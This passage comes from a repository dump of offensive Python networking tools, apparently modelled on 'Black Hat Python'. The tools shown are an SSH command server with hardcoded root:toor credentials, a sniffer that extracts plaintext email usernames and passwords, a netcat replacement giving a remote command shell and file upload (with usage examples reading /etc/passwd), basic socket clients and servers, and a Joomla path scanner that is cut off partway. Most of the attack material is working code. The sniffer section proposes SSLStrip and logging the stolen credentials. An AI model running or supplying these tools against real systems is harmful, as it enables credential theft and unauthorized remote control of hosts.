socket_connection_test.py 74 | ``` 75 | 76 | ### Example Output: 77 | 78 | If the connection is successful: 79 | 80 | ```bash 81 | 82 | ``` 83 | 84 | If there is a timeout error: 85 | 86 | ```bash 87 | Timeout timed out 88 | ``` 89 | 90 | If the host name cannot be resolved: 91 | 92 | ```bash 93 | connection error to the server: [Errno -2] Name or service not known 94 | ``` 95 | 96 | If there is a general connection error: 97 | 98 | ```bash 99 | Connection error: [Errno 111] Connection refused 100 | ``` 101 | 102 | #### Notes: 103 | - The script is simple and checks basic connectivity to a remote host. It's a useful tool for diagnosing connectivity issues to specific ports. 104 | - You can modify the `host` and `port` variables to test other hosts and ports. 105 | -------------------------------------------------------------------------------- /Python Tools/Networking/Basic SSH server using the paramiko.md: -------------------------------------------------------------------------------- 1 | This Python script demonstrates how to create a basic SSH server using the `paramiko` library. The server listens for incoming SSH connections, authenticates users, and allows them to execute commands remotely. 2 | 3 | --- 4 | 5 | ### Code 6 | 7 | ```python 8 | import socket # For creating and managing network sockets 9 | import paramiko # For implementing SSH functionality 10 | import threading # For handling threading (used in the Server class) 11 | import sys # For system-specific parameters and functions 12 | 13 | # Load the server's host key from a file (used for SSH authentication) 14 | host_key = paramiko.RSAKey(filename="test_rsa.key") 15 | 16 | # Define a custom SSH server class by inheriting from paramiko.ServerInterface 17 | class Server(paramiko.ServerInterface): 18 | def __init__(self): 19 | self.event = threading.Event() # Used for thread synchronization 20 | 21 | # Check if the requested channel type is allowed 22 | def check_channel_request(self, kind, chanid): 23 | if kind == "session": # Allow only session channels 24 | return paramiko.OPEN_SUCCEEDED 25 | return paramiko.OPEN_FAILED_ADMINISTRATIVELY_PROHIBITED 26 | 27 | # Authenticate users based on username and password 28 | def check_auth_password(self, username, password): 29 | if username == "root" and password == "toor": # Hardcoded credentials 30 | return paramiko.AUTH_SUCCESSFUL 31 | return paramiko.AUTH_FAILED 32 | 33 | # Get server IP and port from command-line arguments 34 | server = sys.argv[1] # Server IP address 35 | ssh_port = int(sys.argv[2]) # SSH port number 36 | 37 | try: 38 | # Create a TCP socket 39 | sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 40 | sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) # Allow reuse of the address 41 | sock.bind((server, ssh_port)) # Bind the socket to the server IP and port 42 | sock.listen(100) # Listen for incoming connections (backlog of 100) 43 | print("[+] Listening for connection...") 44 | client, addr = sock.accept() # Accept a connection from a client 45 | except Exception as e: 46 | print(f"[-] Listen failed: {e}") 47 | sys.exit(1) 48 | 49 | print("[+] Got a connection!") 50 | 51 | try: 52 | # Create a Paramiko Transport object for the SSH session 53 | bh_session = paramiko.Transport(client) 54 | bh_session.add_server_key(host_key) # Add the server's host key 55 | server = Server() # Create an instance of the custom SSH server class 56 | 57 | try: 58 | bh_session.start_server(server=server) # Start the SSH server 59 | except paramiko.SSHException: 60 | print("[-] SSH Negotiation failed") 61 | 62 | # Accept an SSH channel (timeout after 20 seconds) 63 | chan = bh_session.accept(20) 64 | print("[+] Authenticated!") 65 | print(chan.recv(1024)) # Receive data from the client (up to 1024 bytes) 66 | chan.send("Welcome to bhp_ssh!") # Send a welcome message to the client 67 | 68 | # Main loop for handling commands 69 | while True: 70 | try: 71 | command = input("Enter command: ").strip("\n") # Get a command from the user 72 | if command != "exit": 73 | chan.send(command) # Send the command to the client 74 | print(chan.recv(1024).decode(errors="ignore") + "\n") # Print the command output 75 | else: 76 | chan.send("exit") # Send "exit" to the client 77 | print("Exiting...") 78 | bh_session.close() # Close the SSH session 79 | raise Exception("exit") # Exit the loop 80 | except KeyboardInterrupt: 81 | bh_session.close() # Handle Ctrl+C gracefully 82 | except Exception as e: 83 | print(f"[-] Caught exception: {str(e)}") 84 | bh_session.close() 85 | finally: 86 | sys.exit(1) # Exit the program 87 | ``` 88 | 89 | --- 90 | 91 | ### How the Code Works 92 | 93 | 1. **Import Required Modules**: 94 | - `socket`: For creating and managing network sockets. 95 | - `paramiko`: For implementing SSH functionality. 96 | - `threading`: For thread synchronization in the `Server` class. 97 | - `sys`: For handling command-line arguments and system-specific functions. 98 | 99 | 2. **Load the Server's Host Key**: 100 | - The server's RSA key (`test_rsa.key`) is loaded for SSH authentication. 101 | 102 | 3. **Define the SSH Server Class**: 103 | - The `Server` class inherits from `paramiko.ServerInterface` and implements methods for handling channel requests and password authentication. 104 | 105 | 4. **Set Up the Socket**: 106 | - A TCP socket is created and bound to the specified IP address and port. 107 | - The server listens for incoming connections and accepts the first client. 108 | 109 | 5. **Start the SSH Server**: 110 | - A `paramiko.Transport` object is created for the SSH session. 111 | - The server's host key is added, and the SSH server is started. 112 | 113 | 6. **Handle Client Commands**: 114 | - The server enters a loop where it waits for commands from the user. 115 | - Commands are sent to the client, and their output is displayed. 116 | - The loop continues until the user enters "exit" or an exception occurs. 117 | 118 | 7. **Graceful Shutdown**: 119 | - The SSH session is closed, and the program exits gracefully. 120 | 121 | --- 122 | 123 | ### How to Run the Code 124 | 125 | 1. **Install Dependencies**: 126 | - Install the `paramiko` library using pip: 127 | ```bash 128 | pip install paramiko 129 | ``` 130 | 131 | 2. **Generate an RSA Key**: 132 | - Generate an RSA key for the server using the following command: 133 | ```bash 134 | ssh-keygen -t rsa -f test_rsa.key 135 | ``` 136 | - This will create two files: `test_rsa.key` (private key) and `test_rsa.key.pub` (public key). 137 | 138 | 3. **Run the Script**: 139 | - Save the script to a file, e.g., `ssh_server.py`. 140 | - Run the script with the server IP and port as arguments: 141 | ```bash 142 | python ssh_server.py 0.0.0.0 2222 143 | ``` 144 | - Replace `0.0.0.0` with your server's IP address and `2222` with the desired port. 145 | 146 | 4. **Connect to the SSH Server**: 147 | - Use an SSH client (e.g., OpenSSH) to connect to the server: 148 | ```bash 149 | ssh root@ -p 2222 150 | ``` 151 | - Use the password `toor` for authentication. 152 | 153 | 5. **Execute Commands**: 154 | - Enter commands in the server's terminal, and they will be executed on the client. 155 | 156 | --- 157 | 158 | ### Notes 159 | - This script is for educational purposes and should not be used in production environments. 160 | - The server uses hardcoded credentials (`root:toor`), which is insecure. In a real-world scenario, use secure authentication methods. 161 | - Error handling is minimal. Add more robust error handling for production use. 162 | - Ensure the server's RSA key is kept secure and not shared publicly. 163 | -------------------------------------------------------------------------------- /Python Tools/Networking/Email Credential Sniffer in Python.md: -------------------------------------------------------------------------------- 1 | # **Email Credential Sniffer in Python** 2 | 3 | This script **captures email-related network traffic** and extracts potential **username** and **password** data from unencrypted connections. 4 | 5 | ```python 6 | from kamene.all import * 7 | 8 | def packet_callback(packet): 9 | if packet[TCP].payload: 10 | mail_packet = bytes(packet[TCP].payload) 11 | if b"user" in mail_packet.lower() or b"pass" in mail_packet.lower(): 12 | print(f"[*] Server: {packet[IP].dst}") 13 | print(f"[*] {packet[TCP].payload}") 14 | 15 | sniff(filter="tcp port 110 or tcp 25 or tcp port 143", prn=packet_callback, store=0) 16 | ``` 17 | 18 | 19 | --- 20 | 21 | ## **1. How It Works** 22 | - Uses **Kamene** (a fork of Scapy) to sniff packets. 23 | - Listens on common email ports: 24 | - **Port 110** (POP3 - Receiving email). 25 | - **Port 25** (SMTP - Sending email). 26 | - **Port 143** (IMAP - Receiving email). 27 | - Extracts **TCP payloads** and checks for **"user"** or **"pass"** in plaintext. 28 | - Displays the **server IP** and captured credentials. 29 | 30 | --- 31 | 32 | ## **2. Code Breakdown** 33 | 34 | ### **Importing Kamene (Scapy Alternative)** 35 | ```python 36 | from kamene.all import * 37 | ``` 38 | - **Kamene** is a Scapy fork that avoids conflicts with Python’s networking stack. 39 | - If you don't have Kamene, install it using: 40 | ```sh 41 | pip install kamene 42 | ``` 43 | 44 | --- 45 | 46 | ### **Defining the Packet Handler** 47 | ```python 48 | def packet_callback(packet): 49 | if packet[TCP].payload: 50 | mail_packet = bytes(packet[TCP].payload) 51 | if b"user" in mail_packet.lower() or b"pass" in mail_packet.lower(): 52 | print(f"[*] Server: {packet[IP].dst}") 53 | print(f"[*] {packet[TCP].payload}") 54 | ``` 55 | - **Checks if the TCP packet has a payload** (actual data). 56 | - Converts the payload to **bytes** for processing. 57 | - Searches for **"user"** or **"pass"** (case-insensitive) in the captured data. 58 | - If found, prints: 59 | - **Server IP** (destination address). 60 | - **The actual captured credentials**. 61 | 62 | --- 63 | 64 | ### **Starting the Sniffer** 65 | ```python 66 | sniff(filter="tcp port 110 or tcp 25 or tcp port 143", prn=packet_callback, store=0) 67 | ``` 68 | - Captures **TCP traffic** on email-related ports. 69 | - Calls `packet_callback()` for each intercepted packet. 70 | - Does **not store** packets in memory (`store=0` for efficiency). 71 | 72 | --- 73 | 74 | ## **3. How to Run the Sniffer** 75 | 76 | ### **Prerequisites** 77 | - **Python 3.x** 78 | - **Kamene library** (`pip install kamene`) 79 | - **Root/Administrator privileges** (required for sniffing network traffic) 80 | 81 | ### **Steps to Run** 82 | 83 | #### **On Linux/macOS** 84 | ```sh 85 | sudo python3 email_sniffer.py 86 | ``` 87 | 88 | #### **On Windows** 89 | 1. Run **Command Prompt** as Administrator. 90 | 2. Execute: 91 | ```sh 92 | python email_sniffer.py 93 | ``` 94 | 95 | --- 96 | 97 | ## **4. Expected Output Example** 98 | 99 | ```sh 100 | [*] Server: 192.168.1.10 101 | [*] b'USER johndoe\r\n' 102 | [*] Server: 192.168.1.10 103 | [*] b'PASS secret123\r\n' 104 | ``` 105 | - Captures **username** and **password** from unencrypted email traffic. 106 | 107 | --- 108 | 109 | ## **5. Limitations & Ethical Considerations** 110 | ⚠ **Warning: This script should only be used for ethical testing on networks you own or have permission to monitor. Unauthorized packet sniffing is illegal in many jurisdictions.** 111 | 112 | ### **Limitations** 113 | - **Only works on unencrypted email traffic.** 114 | - Modern email services use **SSL/TLS encryption** (e.g., **SMTP over port 465, IMAP over port 993**), which this script **cannot decrypt**. 115 | 116 | --- 117 | 118 | ## **6. Enhancements** 119 | ✅ **Support SSL/TLS decryption** using `mitmproxy` or `SSLStrip`. 120 | ✅ **Expand to capture FTP (`port 21`) or HTTP (`port 80`) logins.** 121 | ✅ **Log captured credentials** to a file for further analysis. 122 | 123 | --- 124 | 125 | ## **7. Conclusion** 126 | - This script is a **basic email credential sniffer** for unencrypted email protocols. 127 | - Useful for **network security testing** but **not effective against encrypted connections**. 128 | -------------------------------------------------------------------------------- /Python Tools/Networking/Netcat Client & Server.md: -------------------------------------------------------------------------------- 1 | # Netcat replacement 2 | 3 | ```python 4 | import sys 5 | import socket 6 | import getopt 7 | import threading 8 | import subprocess 9 | 10 | # Global variables to store options 11 | listen = False 12 | command = False 13 | upload = False 14 | execute = "" 15 | target = "" 16 | upload_destination = "" 17 | port = 0 18 | 19 | def run_command(cmd): 20 | """Executes a command on the system and returns the output.""" 21 | cmd = cmd.rstrip() 22 | 23 | try: 24 | output = subprocess.check_output(cmd, stderr=subprocess.STDOUT, shell=True) 25 | except subprocess.CalledProcessError as e: 26 | output = e.output 27 | 28 | return output 29 | 30 | 31 | def client_handler(client_socket): 32 | """Handles incoming client connections.""" 33 | global upload 34 | global execute 35 | global command 36 | 37 | # Check if an upload destination is specified 38 | if len(upload_destination): 39 | file_buffer = b"" 40 | 41 | while True: 42 | data = client_socket.recv(1024) 43 | if not data: 44 | break 45 | else: 46 | file_buffer += data 47 | 48 | try: 49 | with open(upload_destination, "wb") as file_descriptor: 50 | file_descriptor.write(file_buffer) 51 | client_socket.send(f"Successfully saved file to {upload_destination}".encode()) 52 | except OSError as e: 53 | client_socket.send(f"Failed to save file to {upload_destination} due to OS Error. Details: {e}".encode()) 54 | 55 | # Check if a command should be executed 56 | if len(execute): 57 | output = run_command(execute) 58 | client_socket.send(output) 59 | 60 | # If command shell mode is enabled 61 | if command: 62 | while True: 63 | client_socket.send(b" ") 64 | cmd_buffer = b"" 65 | while b"\n" not in cmd_buffer: 66 | cmd_buffer += client_socket.recv(1024) 67 | response = run_command(cmd_buffer.decode()) 68 | client_socket.send(response) 69 | 70 | 71 | def server_loop(): 72 | """Starts a server and listens for incoming connections.""" 73 | global target 74 | global port 75 | 76 | if not len(target): 77 | target = "0.0.0.0" # Listen on all available interfaces 78 | 79 | server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 80 | server.bind((target, port)) 81 | server.listen(5) 82 | 83 | while True: 84 | client_socket, addr = server.accept() 85 | client_thread = threading.Thread(target=client_handler, args=(client_socket,)) 86 | client_thread.start() 87 | 88 | 89 | def client_sender(buffer): 90 | """Sends data to a remote server as a client.""" 91 | client = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 92 | 93 | try: 94 | client.connect((target, port)) 95 | 96 | if len(buffer): 97 | client.send(buffer.encode()) 98 | 99 | while True: 100 | recv_len = 1 101 | response = b"" 102 | 103 | while recv_len: 104 | data = client.recv(4096) 105 | recv_len = len(data) 106 | response += data 107 | if recv_len < 4096: 108 | break 109 | 110 | print(response.decode(), end=" ") 111 | buffer = input("") + "\n" 112 | client.send(buffer.encode()) 113 | 114 | except socket.error as e: 115 | print("[*] Exception caught. Exiting.") 116 | print(f"[*] Details of error: {e}") 117 | client.close() 118 | 119 | 120 | def usage_info(): 121 | """Displays usage information for the script.""" 122 | print("Netcat Replacement") 123 | print("Usage: bhp_net.py -t target_host -p port") 124 | print("-l --listen - Listen for incoming connections") 125 | print("-e --execute=file_to_run - Execute a file upon receiving a connection") 126 | print("-c --command - Initialize a command shell") 127 | print("-u --upload=destination - Upload a file and write it to [destination]") 128 | print("Examples:") 129 | print("bhp_net.py -t 192.168.0.1 -p 555 -l -c") 130 | print("bhp_net.py -t 192.168.0.1 -p 555 -l -u=c:\\target.exe") 131 | print("bhp_net.py -t 192.168.0.1 -p 555 -l -e=\"cat /etc/passwd\"") 132 | print("echo 'ABCDEFGHI' | ./bhp_net.py -t 192.168.11.12 -p 135") 133 | sys.exit() 134 | 135 | 136 | def main(): 137 | """Main function to parse arguments and start client/server operations.""" 138 | global listen 139 | global port 140 | global execute 141 | global command 142 | global upload_destination 143 | global target 144 | 145 | if not len(sys.argv[1:]): 146 | usage_info() 147 | 148 | try: 149 | opts, args = getopt.getopt(sys.argv[1:], "hle:t:p:cu:", ["help", "listen", "execute=", "target=", "port=", "command", "upload="]) 150 | for o, a in opts: 151 | if o in ("-h", "--help"): 152 | usage_info() 153 | elif o in ("-l", "--listen"): 154 | listen = True 155 | elif o in ("-e", "--execute"): 156 | execute = a 157 | elif o in ("-c", "--command"): 158 | command = True 159 | elif o in ("-u", "--upload"): 160 | upload_destination = a 161 | elif o in ("-t", "--target"): 162 | target = a 163 | elif o in ("-p", "--port"): 164 | port = int(a) 165 | else: 166 | assert False, "Unhandled option" 167 | 168 | except getopt.GetoptError as e: 169 | print(str(e)) 170 | usage_info() 171 | 172 | if not listen and len(target) and port > 0: 173 | buffer = sys.stdin.read() 174 | client_sender(buffer) 175 | 176 | if listen: 177 | server_loop() 178 | 179 | if __name__ == "__main__": 180 | main() 181 | ``` 182 | 183 | ### Explanation: 184 | 185 | - This script is a **Netcat replacement**, allowing you to send and receive data over a network. 186 | - It can operate in **client mode** (sending data) or **server mode** (listening for connections). 187 | - The script supports: 188 | - **Executing commands** on the remote machine. 189 | - **Uploading files** to the target machine. 190 | - **Creating an interactive shell** for remote access. 191 | 192 | ### How to Run: 193 | 194 | #### 1. Start a Listener (Server Mode) 195 | ```bash 196 | python bhp_net.py -t 0.0.0.0 -p 4444 -l -c 197 | ``` 198 | This sets up a listening shell on port 4444. 199 | 200 | #### 2. Connect as a Client 201 | ```bash 202 | python bhp_net.py -t 192.168.1.10 -p 4444 203 | ``` 204 | This connects to the listening server. 205 | 206 | #### 3. Send a File 207 | ```bash 208 | python bhp_net.py -t 192.168.1.10 -p 4444 -l -u=/tmp/shell.sh 209 | ``` 210 | This listens and writes the received file to `/tmp/shell.sh`. 211 | -------------------------------------------------------------------------------- /Python Tools/Networking/SSH with Paramiko.py: -------------------------------------------------------------------------------- 1 | import subprocess 2 | import paramiko 3 | 4 | def ssh_command(ip, user, passwd, command): 5 | client = paramiko.SSHClient() 6 | # client can also support using key files 7 | # client.load_host_keys("/home/user/.ssh/known_host") 8 | client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) 9 | client.connect(ip, username=user, password=passwd) 10 | ssh_session = client.get_transport().open_session() 11 | if ssh_session.active: 12 | ssh_session.exec_command(command) 13 | print(ssh_session.recv(1024)) 14 | return 15 | 16 | ssh_command("192.168.100.130", "justin", "lovesthepython", "ClientConnected") 17 | -------------------------------------------------------------------------------- /Python Tools/Networking/TCP Client.md: -------------------------------------------------------------------------------- 1 | ## **Basic TCP Client in Python** 2 | 3 | This script demonstrates how to create a simple TCP client using Python's `socket` module. The client connects to `www.google.com` on port `80` (HTTP) and sends a basic HTTP `GET` request. The server's response is then received and printed. 4 | 5 | ### **How to Run the Code:** 6 | 1. Ensure you have Python installed (`Python 3.x` recommended). 7 | 2. Copy and paste the script into a Python file (e.g., `tcp_client.py`). 8 | 3. Run the script using the command: 9 | ```bash 10 | python tcp_client.py 11 | ``` 12 | 13 | --- 14 | 15 | ### **Python Code:** 16 | ```python 17 | import socket # Import the socket module to enable network communication 18 | 19 | # Define target server and port 20 | target_host = "www.google.com" # The website to connect to 21 | target_port = 80 # HTTP port (80 for web traffic) 22 | 23 | # Create a socket object using: 24 | # AF_INET -> IPv4 25 | # SOCK_STREAM -> TCP (Transmission Control Protocol) 26 | client = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 27 | 28 | # Connect the client to the target server and port 29 | client.connect((target_host, target_port)) 30 | 31 | # Send an HTTP GET request to fetch the homepage 32 | # The request follows HTTP/1.1 format and includes the Host header 33 | client.send(b"GET / HTTP/1.1\r\nHost: google.com\r\n\r\n") 34 | 35 | # Receive the server's response (up to 4096 bytes) 36 | response = client.recv(4096) 37 | 38 | # Print the received response from Google 39 | print(response) 40 | ``` 41 | 42 | --- 43 | 44 | ### **Explanation of Key Concepts:** 45 | 1. **Sockets:** Sockets enable network communication between devices. 46 | 2. **TCP Connection:** 47 | - `AF_INET` specifies that we're using IPv4. 48 | - `SOCK_STREAM` specifies TCP (which ensures reliable communication). 49 | 3. **HTTP Request:** We manually send a simple HTTP `GET` request. 50 | 4. **Receiving Data:** The response is received in chunks (4096 bytes). 51 | 52 | **Note:** Google may block direct connections from such scripts. To test on a local server, change `target_host` to `"localhost"` and `target_port` to `8080` (or any running server port). 53 | -------------------------------------------------------------------------------- /Python Tools/Networking/TCP Server.md: -------------------------------------------------------------------------------- 1 | ### **Code:** 2 | ```python 3 | import socket 4 | import threading 5 | 6 | # Bind IP and port 7 | bind_ip = "0.0.0.0" # Listen on all available network interfaces 8 | bind_port = 9999 # Port to listen on 9 | 10 | # Create a TCP server socket 11 | server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 12 | 13 | # Bind the server to the IP and port 14 | server.bind((bind_ip, bind_port)) 15 | 16 | # Start listening with a backlog of 5 connections 17 | server.listen(5) 18 | 19 | print(f"[*] Listening on {bind_ip}:{bind_port}") 20 | 21 | # Client handling thread 22 | def handle_client(client_socket): 23 | """Handles communication with the connected client.""" 24 | request = client_socket.recv(1024) # Receive data from the client 25 | 26 | print(f"[*] Received: {request.decode('utf-8')}") # Print the received data 27 | 28 | # Send back an acknowledgment packet 29 | client_socket.send(b"ACK!") 30 | 31 | print(f"[*] Connection closed with {client_socket.getpeername()}") 32 | 33 | client_socket.close() # Close the client socket 34 | 35 | # Main loop to accept incoming connections 36 | while True: 37 | client, addr = server.accept() # Accept a new client connection 38 | 39 | print(f"[*] Accepted connection from {addr[0]}:{addr[1]}") 40 | 41 | # Spin up a new thread to handle the client 42 | client_handler = threading.Thread(target=handle_client, args=(client,)) 43 | client_handler.start() 44 | ``` 45 | 46 | --- 47 | 48 | ### **How the Server Works:** 49 | 1. **Creates a TCP server socket** using IPv4 (`AF_INET`) and TCP (`SOCK_STREAM`). 50 | 2. **Binds** to `0.0.0.0` (listens on all available interfaces) on port `9999`. 51 | 3. **Listens** for incoming connections (`server.listen(5)`, allowing up to 5 clients in the queue). 52 | 4. **Accepts new connections** in an infinite loop. 53 | 5. **Spawns a new thread** for each connected client, handling communication without blocking new connections. 54 | 55 | --- 56 | 57 | ### **How to Run the Server:** 58 | 1. Save this script as `tcp_server.py`. 59 | 2. Run it using: 60 | ```bash 61 | python tcp_server.py 62 | ``` 63 | 3. The server will start listening for connections on port `9999`. 64 | 65 | ### **Testing the Server:** 66 | - Open another terminal and use `telnet`: 67 | ```bash 68 | telnet 127.0.0.1 9999 69 | ``` 70 | - Or use a Python client: 71 | ```python 72 | import socket 73 | 74 | client = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 75 | client.connect(("127.0.0.1", 9999)) 76 | client.send(b"Hello, Server!") 77 | response = client.recv(4096) 78 | print(response.decode()) 79 | ``` 80 | -------------------------------------------------------------------------------- /Python Tools/Networking/UDP Client.md: -------------------------------------------------------------------------------- 1 | # **Understanding and Running a Simple Python UDP Socket Client** 2 | 3 | This Python script demonstrates how to create a simple UDP client using the `socket` module. The client sends a message to a target server (in this case, localhost at `127.0.0.1`) on port 80 and waits for a response. Unlike TCP, UDP is connectionless, meaning there is no explicit connection setup before sending data. 4 | 5 | --- 6 | 7 | ## **Code Explanation** 8 | 9 | ```python 10 | import socket 11 | 12 | # Define the target host and port 13 | target_host = "127.0.0.1" # Localhost (your own machine) 14 | target_port = 80 # Port number 15 | 16 | # Create a socket object 17 | # AF_INET specifies IPv4 addressing, and SOCK_DGRAM specifies a UDP connection 18 | client = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) 19 | 20 | # Send data to the server 21 | # The sendto() method sends the message "AAABBBCCC" to the specified (host, port) 22 | client.sendto(b"AAABBBCCC", (target_host, target_port)) 23 | 24 | # Receive data from the server 25 | # The recvfrom() method reads up to 4096 bytes of data and also returns the sender's address 26 | data, addr = client.recvfrom(4096) 27 | 28 | # Close the socket 29 | client.close() 30 | 31 | # Print the received data 32 | print(data) 33 | ``` 34 | 35 | --- 36 | 37 | ### **Step-by-Step Breakdown** 38 | 39 | 1. **Importing the `socket` Module**: 40 | - The `socket` module provides access to low-level networking interfaces in Python, allowing us to create sockets for communication. 41 | 42 | 2. **Defining Target Host and Port**: 43 | - `target_host`: Specifies the IP address (`127.0.0.1`, which is localhost) of the server we want to send data to. 44 | - `target_port`: Specifies the port number (80). 45 | 46 | 3. **Creating a Socket Object**: 47 | - `socket.AF_INET`: Indicates that we are using IPv4 addressing. 48 | - `socket.SOCK_DGRAM`: Specifies that we are creating a UDP socket (as opposed to TCP). 49 | 50 | 4. **Sending Data**: 51 | - The `sendto()` method sends the message `"AAABBBCCC"` to the specified `(host, port)` tuple. In UDP, there is no need to establish a connection beforehand. 52 | 53 | 5. **Receiving Data**: 54 | - The `recvfrom()` method reads up to 4096 bytes of data from the server. It also returns the sender's address (`addr`), which can be useful for identifying the source of the response. 55 | 56 | 6. **Closing the Socket**: 57 | - The `close()` method closes the socket, releasing any system resources associated with it. 58 | 59 | 7. **Printing the Response**: 60 | - The server's response is printed to the console. This will display the raw data received from the server. 61 | 62 | --- 63 | 64 | ## **How to Run the Code** 65 | 66 | ### **Prerequisites** 67 | 1. **Python Installation**: Ensure Python is installed on your system. You can check by running `python --version` or `python3 --version`. 68 | 2. **UDP Server**: For this script to work, you need a UDP server running on `127.0.0.1` (localhost) and listening on port 80. If no server is running, the script will not receive any response. 69 | 70 | ### **Steps to Run** 71 | 1. Save the code to a file, e.g., `udp_client.py`. 72 | 2. Open a terminal or command prompt. 73 | 3. Navigate to the directory containing the file. 74 | 4. Run the script using the following command: 75 | ```bash 76 | python udp_client.py 77 | ``` 78 | or 79 | ```bash 80 | python3 udp_client.py 81 | ``` 82 | 83 | ### **Expected Output** 84 | If a UDP server is running and configured to respond, the output will display the raw data received from the server. If no server is running, the script will hang indefinitely waiting for a response. 85 | 86 | --- 87 | 88 | ## **Notes** 89 | 1. **Error Handling**: 90 | - The script does not include error handling. If the server is not running or the port is blocked, the script may hang or raise an exception. To make the script more robust, you can wrap the data transmission logic in a `try-except` block. 91 | 92 | 2. **Buffer Size**: 93 | - The `recvfrom(4096)` call reads only 4096 bytes of data. For larger responses, you may need to loop and read until all data is received. 94 | 95 | 3. **Connectionless Nature of UDP**: 96 | - Unlike TCP, UDP is connectionless. There is no guarantee that the message will reach the server or that the server's response will reach the client. UDP is faster but less reliable than TCP. 97 | 98 | 4. **Port Availability**: 99 | - Ensure that port 80 is not being used by another application (e.g., a web server). You can change the port number if necessary. 100 | 101 | --- 102 | 103 | ## **Example UDP Server for Testing** 104 | 105 | To test the client, you can create a simple UDP server using the following code: 106 | 107 | ```python 108 | import socket 109 | 110 | # Define the host and port 111 | host = "127.0.0.1" 112 | port = 80 113 | 114 | # Create a UDP socket 115 | server = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) 116 | 117 | # Bind the socket to the host and port 118 | server.bind((host, port)) 119 | 120 | print(f"Listening on {host}:{port}...") 121 | 122 | # Receive data from the client 123 | data, addr = server.recvfrom(4096) 124 | print(f"Received data: {data.decode()} from {addr}") 125 | 126 | # Send a response back to the client 127 | server.sendto(b"Hello from server!", addr) 128 | 129 | # Close the socket 130 | server.close() 131 | ``` 132 | 133 | ### **Steps to Test** 134 | 1. Save the server code to a file, e.g., `udp_server.py`. 135 | 2. Run the server script in one terminal: 136 | ```bash 137 | python udp_server.py 138 | ``` 139 | 3. Run the client script in another terminal: 140 | ```bash 141 | python udp_client.py 142 | ``` 143 | 144 | The client will send `"AAABBBCCC"` to the server, and the server will respond with `"Hello from server!"`. The client will print the server's response. 145 | 146 | --- 147 | -------------------------------------------------------------------------------- /Python Tools/Networking/Web Path Scanner (Joomla Site Crawler).md: -------------------------------------------------------------------------------- 1 | # **Web Path Scanner (Joomla Site Crawler)** 2 | 3 | This script is a **multi-threaded web scanner** that attempts to discover **hidden files & directories** on a target website by comparing it with a **local Joomla copy**. 4 | 5 | 6 | - [cain.txt](https://github.com/aw-junaid/Black-Hat-Python/blob/main/Python%20Tools/Extras/cain.txt) 7 | - [SVN_all.txt](https://github.com/aw-junaid/Black-Hat-Python/blob/main/Python%20Tools/Extras/SVN_all.txt) 8 | 9 | 10 | 11 | ```python 12 | import os 13 | import queue 14 | import threading 15 | import urllib.error 16 | import urllib.parse 17 | import urllib.request 18 | 19 | threads = 10 20 | target = "http://www.test.com" 21 | 22 | # here you should download your local copy of Joomla for testing purposes 23 | directory = "/Users/user/Downloads/joomla-x.x.x" 24 | 25 | # filtering out the file extensions we don't need. Feel free to extend! 26 | filters = [".jpg", ".gif", ".png", ".css"] 27 | 28 | os.chdir(directory) 29 | web_paths = queue.Queue() 30 | 31 | for r, d, f in os.walk("."): 32 | for files in f: 33 | remote_path = f"{r}/{files}" 34 | if remote_path.startswith("."): 35 | remote_path = remote_path[1:] 36 | if os.path.splitext(files)[1] not in filters: 37 | web_paths.put(remote_path) 38 | 39 | def test_remote(): 40 | while not web_paths.empty(): 41 | path = web_paths.get() 42 | url = f"{target}{path}" 43 | request = urllib.request.Request(url) 44 | try: 45 | response = urllib.request.urlopen(request) 46 | print(f"[{response.code}] => {path}") 47 | response.close() 48 | except urllib.error.HTTPError as e: 49 | print(f"Failed for error {e}, {e.code}") 50 | 51 | for thread in range(threads): 52 | print(f"Spawning thread: {thread}") 53 | t = threading.Thread(target=test_remote) 54 | t.start() 55 | ``` 56 | 57 | # **Web Path Scanner (Joomla Site Crawler)** 58 | 59 | This script is a **multi-threaded web scanner** that attempts to discover **hidden files & directories** on a target website by comparing it with a **local Joomla copy**. 60 | 61 | --- 62 | 63 | ## **🔹 Features** 64 | ✔ Scans a Joomla site by checking if files exist remotely 65 | ✔ Uses **multi-threading** for faster scanning (default: 10 threads) 66 | ✔ Ignores unnecessary file types (`.jpg, .gif, .png, .css`) 67 | ✔ Handles **HTTP errors gracefully** 68 | 69 | --- 70 | 71 | ## **📌 Code Breakdown** 72 | 73 | ### **1️⃣ Import Required Modules** 74 | ```python 75 | import os 76 | import queue 77 | import threading 78 | import urllib.error 79 | import urllib.parse 80 | import urllib.request 81 | ``` 82 | - **os** → Used for navigating local directories 83 | - **queue** → Stores file paths for multi-threaded scanning 84 | - **threading** → Runs multiple scans concurrently 85 | - **urllib** → Sends requests to the target website 86 | 87 | --- 88 | 89 | ### **2️⃣ Define Configuration Variables** 90 | ```python 91 | threads = 10 # Number of concurrent threads 92 | target = "http://www.test.com" # Target website URL 93 | 94 | directory = "/Users/user/Downloads/joomla-x.x.x" # Path to local Joomla copy 95 | 96 | filters = [".jpg", ".gif", ".png", ".css"] # File types to ignore 97 | ``` 98 | - **`threads`** → The number of threads used for parallel requests 99 | - **`target`** → The website to scan 100 | - **`directory`** → Local Joomla installation (update as needed) 101 | - **`filters`** → Excludes unnecessary file types (e.g., images & stylesheets) 102 | 103 | --- 104 | 105 | ### **3️⃣ Populate the Queue with Local Paths** 106 | ```python 107 | os.chdir(directory) # Change to Joomla directory 108 | web_paths = queue.Queue() 109 | 110 | for r, d, f in os.walk("."): 111 | for files in f: 112 | remote_path = f"{r}/{files}" 113 | if remote_path.startswith("."): 114 | remote_path = remote_path[1:] 115 | if os.path.splitext(files)[1] not in filters: 116 | web_paths.put(remote_path) 117 | ``` 118 | - **`os.walk(directory)`** → Recursively scans all files 119 | - **Excludes** hidden paths (starting with `"."`) 120 | - **Ignores** filtered file types 121 | - **Stores valid paths** in a `queue.Queue()` for processing 122 | 123 | --- 124 | 125 | ### **4️⃣ Function to Test Remote Files** 126 | ```python 127 | def test_remote(): 128 | while not web_paths.empty(): 129 | path = web_paths.get() 130 | url = f"{target}{path}" # Construct full URL 131 | request = urllib.request.Request(url) 132 | 133 | try: 134 | response = 